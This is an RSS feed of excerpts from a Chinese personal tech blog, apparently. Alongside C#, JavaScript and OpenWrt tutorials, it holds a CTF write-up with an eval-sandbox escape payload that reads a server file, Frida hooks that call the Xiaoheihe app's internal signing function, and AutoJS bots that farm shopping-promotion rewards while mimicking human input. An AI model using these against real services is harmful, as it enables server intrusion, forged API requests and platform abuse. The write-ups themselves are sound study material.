Chr_小屋 - var
type: channel
link: https://blog.chrxw.com/tag/var/
items: 使用C#源生成器自动完成服务注册
items: 【油猴脚本教程】P1 开发者工具的使用 & JavaScript 基础教程
items: 使用GitHub Action自动编译OpenWrt固件
items: 安卓Frida RPC的一些简单应用
items: 小黑盒逆向分析笔记（五）【未完成】
items: 分享一道CTF题 jsjail 题解
items: 【过期】京东炸年兽自动脚本【1.8】
items: 【过期】双十一京东任务自动脚本【0.6】
items: 【过期】11.11淘宝天猫喵币脚本【0.2】
items: 小黑盒逆向分析笔记（三）

使用C#源生成器自动完成服务注册
type: item
date: 2024-01-24T11:28:19+08:00
description: 前言 完整项目地址: https://github.com/chr233/XinjingdailyBot 因为项目之前是使用运行时反射来完成服务的动态注册，而源生成器是在编译前完成代码生成并参与编译，完全没有运行时的性能开销 运行时反射 - 旧的方案 标记特性 首先创建一个 Attribute, 用来标注需要扫描的服务类 namespace XinjingdailyBot.Infrastructure.Attribute; /// /// 标记服务 /// 1、如果服务是本身 直接在类上使用[AppService] /// 2、如果服务是接口 在类上使用 [AppService(ServiceType = typeof(实现接口))] /// [AttributeUsage(AttributeTargets.Class, Inherited = false)] public sealed class AppServiceAttribute : System.Attribute { /// /// 服务声明周期 /// 不给默认值的话注册的是AddSingleton /// public LifeTime ServiceLifetime { get; set; } = LifeTime.Scoped; /// /// 指定服务类型 /// public Type? ServiceType { get; set; } /// /// 是否可以从第一个接口获取服务类型 /// public bool InterfaceServiceType { get; set; } /// /// 标记服务 /// /// public AppServiceAttribute(LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; } /// /// 标记服务 /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; } /// /// 标记服务 /// /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime, bool interfaceServiceType) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; InterfaceServiceType = interfaceServiceType; } } /// /// 生命周期 /// public enum LifeTime { /// /// 瞬时 /// Transient, /// /// 范围 /// Scoped, /// /// 单例 /// Singleton } 基于反射的服务扫描器 然后再主项目启动的时候使用反射扫描添加了该 Attribute 的所有 Class 并注册服务 using System.Diagnostics.CodeAnalysis; using System.Reflection; using XinjingdailyBot.Infrastructure.Attribute; namespace XinjingdailyBot.WebAPI.Extensions; /// /// 动态注册服务扩展 /// public static class AppServiceExtensions { private static readonly NLog.Logger _logger = NLog.LogManager.GetCurrentClassLogger(); /// /// 注册引用程序域中所有有AppService标记的类的服务 /// /// [RequiresUnreferencedCode("不兼容剪裁")] public static void AddAppService(this IServiceCollection services) { var cls = new string[] { "XinjingdailyBot.Repository", "XinjingdailyBot.Service", "XinjingdailyBot.Command", "XinjingdailyBot.WebAPI", }; foreach (var item i…

【油猴脚本教程】P1 开发者工具的使用 & JavaScript 基础教程
type: item
date: 2022-08-08T23:37:00+08:00
description: P1 开发者工具的使用 与 JavaScript 基础教程 教程索引 视频链接 (上) 视频链接 (下) 开发者工具的使用 F12 或者 菜单 -> 更多工具 -> 开发者工具 调出 切换中文 更改语言后重新打开开发者工具生效 或者 界面简介 元素 HTML 原文 HTML节点的属性 控制台 在任意Tab按ESC可以在下方调出 源代码 浏览网站中的所有资源 调试代码 网络 抓包工具 应用 查看本地储存的内容 Cookie Session LocalStorage JavaScript 基础教程 一些 JavaScript 学习资源 MDN 文档： https://developer.mozilla.org/zh-CN/docs/Web/JavaScript 廖雪峰： https://www.liaoxuefeng.com/wiki/1022910821149312 菜鸟教程： https://www.runoob.com/js/js-tutorial.html uTools 插件 基本特性 单线程 弱类型 / 动态类型 大小写敏感 ' ," 通用 不强制使用分号 (建议统一) 语法很灵活 运行时: v8, NodeJS 基础语法 注释 //单行注释 /* 多行注释 */ 变量与常量 赋值操作符 var let const //定义变量/常量 var a = 1; var b; let c = 1; let d; const e = 4; //a,b,c,d,e 1 undefined 1 undefined 4 console.log("a,b,c,d,e",a,b,c,d,e); //Uncaught SyntaxError: Missing initializer in const declaration const f; //赋新值 a = 2; c = 3; //Uncaught TypeError: Assignment to constant variable. e = 1; //重复定义 //undefined var a = 6; let c = 6; //Uncaught SyntaxError: Identifier 'a' has already been declared let a = 6; //Uncaught SyntaxError: Identifier 'a' has already been declared const a = 6; //常量覆盖 const e = 6; //e 6 console.log("e",e); //在子域中覆盖(ES6引入) var ts = 1; let he = 2; { var ts = "aaa"; let he = "yyy"; //ts,he aaa yyy console.log("ts,he",ts,he); } //ts,he aaa 2 console.log("ts,he",ts,he); var 定义一个 变量 let 定义一个仅在作用域内生效的 变量 const 定义一个 常量，一旦定义无法修改，但是可以覆盖定义 使用相同的操作符可以覆盖定义同名的变量，但是不建议这么使用 使用 let 覆盖定义时不影响父作用域的同名变量 强烈推荐优先使用 let 定义变量，如果值不需要改变，建议使用 const 定义成常量 函数提升 //函数提升 foo(); // "bar" function foo() { console.log("bar"); } //这种写法的函数不会被提升 bar(); // 类型错误：bar 不是一个函数 var bar = function() { console.log("bar2"); }; 作用域 { } 定义代码作用域 (ES6的内容) 使用 let 定义的变量，在子域可以访问父域的变量，但是父域不能访问子域的变量 函数中定义的内容外部无法访问 子域中定义的函数，父域无法访问 //顶级作用域(最外层的作用域) let x = 114; { //子作用域 let b = 514; //x,b 114 514 console.log("x,b", x, b); } //函数内部其实也是一种作用域 function xbz() { let c = 233; //x,c 114 233 console.log("x,c", x, c); //Uncaught ReferenceError: b is not defined console.log("b", b); } xbz(); //匿名函数同理 (() => { let d = 3.14; //x,d 114 3.14 console.log("x,d", x, …

使用GitHub Action自动编译OpenWrt固件
type: item
date: 2022-01-28T22:06:00+08:00
description: 前言 本教程基于 LEDE 项目 首先需要安装Linux虚拟机或者使用WSL虚拟环境，这里使用后者 正文 准备工作 首先自然是配置依赖环境 sudo apt -y update sudo apt -y install build-essential asciidoc binutils bzip2 gawk gettext git libncurses5-dev libz-dev patch python3 python2.7 unzip zlib1g-dev lib32gcc1 libc6-dev-i386 subversion flex uglifyjs git-core gcc-multilib p7zip p7zip-full msmtp libssl-dev texinfo libglib2.0-dev xmlto qemu-utils upx libelf-dev autoconf automake libtool autopoint device-tree-compiler g++-multilib antlr3 gperf wget curl swig rsync 因为要对LEDE固件做一些修改，所以我们需要去Folk一份源码 然后把刚刚Folk的仓库clone到本地 x> 请不要下载Zip存档，这样操作会丢失git配置，导致后续操作无法继续 # PS: 这里换成自己的仓库的地址 git clone https://github.com/chr233/lede !> 请确保处于大小写敏感的文件系统下，否则无法使用配置工具（NTFS和FAT都不行, EXT4可以） 然后使用命令就可以进入配置菜单了 make menuconfig 编译配置菜单说明（部分） Target System (Broadcom BCM27xx) #选择处理器架构 Subtarget (BCM2711 boards (64 bit)) #选择处理器 Target Profile (Raspberry Pi 4B/400/4CM (64bit)) #预制配置文件 Target Images #固件映像设置 ramdisk # 内存盘, 硬件内存充裕的话可以打开，有效提升性能 Compression # 压缩等级(none表示不压缩) Root filesystem archives #根文件系统存档类型 cpio.gz tar.gz Root filesystem images #根文件系统格式 ext4 #适用于大容量闪存,易于修改分区大小,没有恢复出厂设置的功能 squashfs #适用于小容量闪存，不可修改分区大小，有恢复出厂设置的功能 Gzip images #Gzip存档 Image Options Kernel partition size #内核分区大小，建议64M到256M，足够了 Root filesystem partition size #跟文件系统分区大小，根据闪存大小自行设定 Make /var persistent #持久化/var(开启后重启软路由/var下内容会保留) 以下设置一般无需修改 Enable experimental features by default #默认启用实验性功能 Global build settings #全局编译设置 Advanced configuration options (for developers) #高级选项(仅供开发者) Build the OpenWrt Image Builder #编译OpenWrt镜像编译器 Build the OpenWrt SDK #编译OpenWrt SDK Package the OpenWrt-based Toolchain #打包OpenWrt工具链 Image configuration #镜像选项 以下可以根据需要选择要加入的附加组件 i> M代表编译成ipk包，不内置在固件中，可以之后单独安装，*代表内置在固件中 Base system #基本组件 Administration #管理员工具 Boot Loaders #引导程序 Development #开发者工具 Extra packages #额外包 Firmware #固件工具 Fonts #字体 Kernel modules #内核模块 Languages #额外的语言(Python3,PHP,NodeJS等) Libraries #系统库 LuCI #LuCI插件(一般只需修改应用和主题) Collections #合集 Modules #模块 Applications #应用程序 Themes #主题 Protocols #协议支持 Libraries #运行库…

安卓Frida RPC的一些简单应用
type: item
date: 2021-11-19T19:35:00+08:00
description: 前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 前几天研究某APP未果，中间稍微研究了一些Frida的RPC机制，做一下笔记。 Frida RPC简介 Frida RPC可以将APP中的函数暴露给加载器，方便在外部调用，相比于recv和send，使用起来更加方便。 示例hook脚本 rpc.exports = { add(a, b) { //同步函数 return a + b; }, sub(a, b) { //异步函数 return new Promise(resolve => { setTimeout(() => { resolve(a - b); }, 100); }); } }; 示例Python加载器 import codecs import frida def on_message(message, data): if message['type'] == 'send': print(message['payload']) elif message['type'] == 'error': print(message['stack']) session = frida.attach('iTunes') with codecs.open('./agent.js', 'r', 'utf-8') as f: source = f.read() script = session.create_script(source) script.on('message', on_message) script.load() #调用rpc暴露出来的add和sub方法 print(script.exports.add(2, 3)) print(script.exports.sub(5, 3)) session.detach() Frida RPC使用演示 Java层 Java函数的Hook又分为静态方法和实例方法，静态类直接用Java.use('类名')获取以后直接就可以调用，而实例方法需要先用Java.choose('类名')，在堆中查找到类的实例以后获取该实例，才能调用。 静态方法 实例方法 So层 SO层如果是静态方法也跟Java层的类似，只不过需要获取上下文对象，并作为第一个参数传入。 JNI方法 演示代码 Hook代码 console.log("脚本载入成功"); Java.perform(function () { rpc.exports = { staticmethod() { var n1 = Java.use('com.max.xiaoheihe.utils.n1'); return n1.E(); }, classmethod() { var result = undefined; Java.choose('com.max.xiaoheihe.bean.account.AccountDetailObj', { onMatch: function (instance) { result = instance.getUserid(); }, onComplete: function () { if (result === undefined) { return 'not found'; } } }); return result; }, jnimethod(urlpath, timestamp, nonce) { var currentApp = Java.use('android.app.ActivityThread').currentApplication(); var context = currentApp.getApplicationContext(); var NDKTools = Java.use('com.max.xiaoheihe.utils.NDKTools'); return NDKTools.encode(context, urlpath, timestamp, nonce); }, }; }); 加载器 import frida device = frida.get_usb_device() process = device.attach('小黑盒') with open('demo.js', 'r', encoding='utf-8') as f: script = process.create_script(js.read()) script.load() print('static method: ', script.exports.staticmethod()) print('class method: ', script.exports.classmethod()) prin…

小黑盒逆向分析笔记（五）【未完成】
type: item
date: 2021-11-19T13:28:00+08:00
description: 前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 上文 [post cid="714"/] [post cid="1347"/] [post cid="1365"/] [post cid="1383"/] 前情提要 距离上一篇文章已经过去一年多了，前两天心血来潮找了最新版本研究了一下，熬了两天夜也没整明白，不打算继续研究下去了，做个笔记记录下分析过程。 @> 本文适用于小黑盒 1.3.191，小黑盒历史版本参考我的仓库 @> 全文评论后可见

分享一道CTF题 jsjail 题解
type: item
date: 2021-10-23T19:03:00+08:00
description: 前言 刚打完的比赛，还热乎着，难得拿了个一血，可惜之后就寄了…… 正文 题目附件为： ip: 152.136.122.197 port: 53502 protocol: http 用Chrome浏览器访问，提示错误的响应体 用FireFox可以看到返回内容为main.js的内容 main.js内容为： const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); console.log(fs.readFileSync(path.join(__dirname, "./main.js")).toString()); rl.question(">>> ", (payload) => { if (ban(payload)) { console.log("Ban!"); } else { console.log(eval(payload)); } rl.close(); }); rl.on('close', function () { process.exit(0); }); 主要逻辑是判断传入payload里有没有这些特殊符号 ` " ' [ ] ; , . / : "空格" \t \n 研究了一小时，发现(){}+是可以用的 绕过思路如下： 用解包赋值绕过函数调用中的. // 相当于 console.log('114514') var {log} = console log('114514') 用String.fromCharCode()绕过文本中的特殊字符 //得到 '.' String.fromCharCode(46) 使用{}代码段分隔多行代码，避免使用;和任何空白符号 本地测试代码如下： const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); let payload = ` ({ //payload here })() `.replace(/\s/g,''); if (ban(payload)) { console.log("Ban!"); } else { console.log(payload); console.log(eval(payload)); } process.exit(0); i PS: payload外面的 (()=>{ })() 是可以去掉的 构造payload： //等效于 console.log(fs.readdirSync("..")) ( ()=>{ { var{readdirSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readdirSync(fromCharCode(46)+fromCharCode(46))) } } )() 用Telnet客户端连接可以执行payload 发现flag放在../flag中，读取之： //等效于 console.log(fs.readFileSync("../flag")) ( ()=>{ { var{readFileSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readFileSync(fromCharCode(46)+fromCharCode(46)+fromCharCode(47)+fromCharCode(102)+fromCharCode(108)+fromCharCode(97)+fromCharCode(103))) } } )() 显示的是十六进制Hex，转一下就是Flag了

【过期】京东炸年兽自动脚本【1.8】
type: item
date: 2021-01-18T10:02:00+08:00
description: 前言 本脚本仅供学习交流之用，使用者如何使用与本文作者无关。 AutoJS下载 & 教程 [post cid="1235" /] 脚本 大部分沿用之前的代码，初步测试没有问题，遇到问题欢迎留言反馈 //JD不定时热更新活动页，请关注脚本更新 //遇到问题请在发布页留言： //https://blog.chrxw.com/archives/2021/01/18/1455.html //Ver 1.8 2021.01.23 //By Chr_(chr@chrxw.com) //========================= //更新说明 //重写了任务完成判断方式,防止偶尔报错 //优化数组访问,应该不会再越界报错了 //修复若干bug //新支持浏览频道任务 //修复加购和参加会员任务的问题（需要打开开关） //修复出现限时任务时报错的问题 //========================= //功能配置 //自动加入会员（设为true启用) let auto_join_vip = false; //自动完成加购任务（设为true启用) let auto_add_cart = false; //延时时间倍率（倍数越大延时越久) let sleep_t = 1.0; //========================= auto.waitFor(); console.show(); toast('\n脚本开始运行\n请切换到任务页\nBy Chr_'); for (let i = 0; i < 10; i++) { //等待切换到任务页 if (className("android.view.View").text("我的爆竹").exists() || className("android.view.View").text("集爆竹").exists()) { break; } rsleep(1); } if (!className("android.view.View").textStartsWith("邀请好友助力").exists()) { advclick(className("android.view.View").text("集爆竹").findOnce()); } toast("\n即将开始工作\n中途需退出请按【音量+】终止"); sleep(1000); for (; ;) { let flag = false; let skip = false; let tasks = className("android.view.View").textStartsWith("邀请好友助力").findOnce().parent().parent().children(); for (let i = 0; i < tasks.length; i++) { if (tasks[i].childCount() == 5) { tasks[i].child(4).click(); rsleep(1); advback(); skip = true; } } if (skip) { continue; } for (let i = 0; i < tasks.length; i++) { if (tasks[i].length < 4) { for (let j = 0; j < tasks[i].childCount(); j++) { log(tasks[i].child(j).text()); } continue; } let desc; let title; try { desc = tasks[i].child(2).text(); title = tasks[i].child(1).text(); } catch (e) { log(e); continue; } let btn = tasks[i].child(3); log(i, desc); if (desc.search("8秒") != -1) { if (checks(btn, title)) { advclick(btn); view(); flag = true; } } else if (desc.search("浏览可得") != -1) { if (checks(btn, title)) { advclick(btn); view2(); flag = true; } } else if (desc.search("关注频道") != -1) { if (checks(btn, title)) { advclick(btn); view3(); flag = true; } } else if (auto_join_vip && des…

【过期】双十一京东任务自动脚本【0.6】
type: item
date: 2020-10-25T15:30:00+08:00
description: 前言 x> 双十一活动已经过期，本文仅作存档 本脚本仅供学习交流之用，使用者如何使用与本文作者无关。 AutoJS下载 & 教程 [post cid="1235" /] 全民营业脚本 i> 如果遇到问题请在下方评论 脚本 //遇到问题请在 https://chrxw.com 留言 //Ver 0.6 2020.10.31 //By Chr_(chr@chrxw.com) //========================= //功能配置 //自动加入会员（设为false禁用) var auto_join_vip = true; //自动完成加购任务（设为false禁用) var auto_add_cart = true; //========================= auto.waitFor(); // console.show(); toast('\n脚本开始运行\n请切换到任务页'); for (var i = 0; i < 10; i++) { //等待切换到任务页 if (className("android.view.View").text("收取金币").exists() || className("android.view.View").text("立即解锁").exists()) { log('break'); break; } rsleep(1); } if (!className("android.view.View").textStartsWith("邀请好友助力").exists()) { advclick(className("android.view.View").text("领金币").findOnce()); } toast("\n即将开始工作\n中途需退出请按【音量+】终止"); sleep(2000); for (; ;) { var flag = false; var objs = text("去完成").find(); for (var i = 0; i < 10; i++) { if (objs[i] != null) { obj = objs[i].parent(); if (obj.children() >= 8) { break; } } } var tasks = obj.children(); for (var i = 2; i < tasks.length; i += 4) { var txt = tasks[i].text(); log(txt, i); if (txt.search("8秒") != -1) { var btn = tasks[i + 1]; if (btn.text() == "去完成") { advclick(btn); view(); flag = true; } } else if (txt.search("浏览可得") != -1) { var btn = tasks[i + 1]; if (btn.text() == "去完成") { advclick(btn); view2(); flag = true; } } else if (auto_join_vip && txt.search("成功入会可得") != -1) { var btn = tasks[i + 1]; if (btn.text() == "去完成") { advclick(btn); view3(); flag = true; } } else if (auto_add_cart && txt.search("5个") != -1) { var btn = tasks[i + 1]; if (btn.text() == "去完成") { advclick(btn); view4(); flag = true; } } if (flag) { break; } } if (!flag) { toast("\n脚本运行完毕\n模拟浏览任务全部完成（大概）"); break; } } //模拟浏览（浏览会场任务） function view() { rsleep(3); rslide(10); // className("android.widget.Image").text("vk image").findOne(5000); rslideR(1); rsleep(3); advback(); } //模拟浏览（直接返回） function view2() { rsleep(2); back(); rsleep(2); } //模拟浏览（开卡） function view3() { rsleep(2); var btn = className("android.v…

【过期】11.11淘宝天猫喵币脚本【0.2】
type: item
date: 2020-10-20T23:44:00+08:00
description: 说明 x> 双十一活动已过期，本文仅作存档 x> 目前淘宝已经开始全面检测脚本了，使用脚步后喵币收益只有1%，非ROOT环境模拟真人比较困难，因此本项目停更，看看京东检测严格不严格，有没有机会写个脚本 使用教程 [post cid="1235" /] 脚本 //遇到问题请在https://chrxw.com留言 //Ver:0.2 By Chr_(chr@chrxw.com) //延时倍数，1.0为基准速度，2.0比基准速度慢一倍，其他同理，求稳建议改大点 var sleep_ctrl = 1.2; auto.waitFor(); var key = new Array("去浏览", "去围观", "去观看"); toast('\n脚本开始运行\n请手动打开任务页\n\n【长时间闲置将自动退出】\n也可以按【音量+】结束运行'); for (var t = 0; t < 20; t++) { if (className("android.view.View").text("赚喵币").findOne(3000)) { if (!className("android.view.View").text("累计任务奖励").exists()) { className("android.view.View").text("赚喵币").findOne().click(); } sleep(1000); toast("\n即将开始工作\n中途需退出请按【音量+】终止"); for (; ;) { var btn = null; className("android.view.View").text("累计任务奖励").waitFor(); for (var i = 0; i < key.length; i++) { if (text(key[i]).exists()) { btn = text(key[i]).findOne(); break; } else { i++; } } if (btn != null) { btn.click() view(); } else { var bc = btn = text('去完成').find(); var flag = false; for (var i = 0; i < bc.length; i++) { var btn = bc[i]; var txt = btn.parent().child(0).child(0).text(); if (txt.search("逛一逛") != -1) { flag = true; btn.click() view(); } } if (!flag) { toast("\n没有定位到按钮\n可能任务已经完成\n请切换到下一个APP"); rsleep(5); break; } } } } } toast("\n长时间闲置，脚本自动退出"); exit(); //随机延时 function rsleep(s) { while (s--) { var t = random(900, 1200) * sleep_ctrl; sleep(t); } } //模拟返回 function advback() { for (var i = 0; i < 3; i++) { // if (!className("android.view.View").desc("返回").exists()) { // rslideR(1); // rsleep(2); // continue; // } back(); className("android.view.View").textContains("累计任务奖励").findOne(3000) if (className("android.view.View").textContains("累计任务奖励").exists() | className("android.view.View").textContains("赚喵币").exists()) { return; } } } //随机划屏 function rslide(i) { while (i--) { var x1 = random(400, 900); var y1 = random(1200, 1900); var x2 = random(400, 900); var y2 = random(1000, 1200); swipe(x1, y1, x2, y2, random(100, 300)); rsleep(2); } } //随机划屏，反向 function rslideR(i) { while (i--) { var x1 = random(400, …

小黑盒逆向分析笔记（三）
type: item
date: 2020-08-06T12:01:00+08:00
description: 前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 上文 [post cid="714"/] [post cid="1347"/] 静态分析 之前解决了验证码参数hkey的计算，但是还有一种加密请求，本文就是找出他的加密方式 这是参加Roll房的请求，请求参数中并没有房间ID，猜测这个参数在加密后的请求体中。 @> 全文评论后可见 后续 [post cid="1383"/]